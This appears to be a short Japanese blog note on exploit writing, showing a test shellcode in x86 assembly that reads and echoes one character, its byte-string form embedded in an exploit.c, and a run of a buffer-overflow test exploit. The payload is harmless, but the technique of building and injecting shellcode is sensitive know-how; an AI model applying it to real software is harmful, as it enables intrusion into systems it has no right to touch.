NENote of Exploiting


2006-11-19 : I/O Test Payload

 このペイロードは標準入力としてコマンドラインから1文字読み込み、標準出力として読み込んだ文字をコマンドラインに出力する。

[SC] iotest.s


.globl main

main:

    #read
    mov    $0x3,   %al
    xorl   %ebx,   %ebx
    mov    %esp,   %ecx
    xorl   %edx,   %edx
    inc    %edx
    int    $0x80
    mov    %ebx,   %esi

    #write
    mov    $0x4,   %al
    mov    $0x1,   %bl
    int    $0x80

    #exit
    mov    $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80

Exemplification

 このソースコードをバイトコードに変換し、[SC] exploit.cに埋め込む。


char shellcode[]=
"\xb0\x03\x31\xdb\x89\xe1\x31\xd2"
"\x42\xcd\x80\x89\xde\xb0\x04\xb3"
"\x01\xcd\x80\xb0\x01\x31\xdb\xcd\x80"
;

 次に、このExploitを実行する。

defolos@glazheim:~/buffer_overflow_test$ ./exploit.exe
sp = 0xbffff8f8
ret = 0xbffff8f8
-------exploit---------------
a
adefolos@glazheim:~/buffer_overflow_test$ 

 ペイロードが正常に動作していることが確認できた。

Copyleft (C) 2007 Len. All Rights Not Reserved.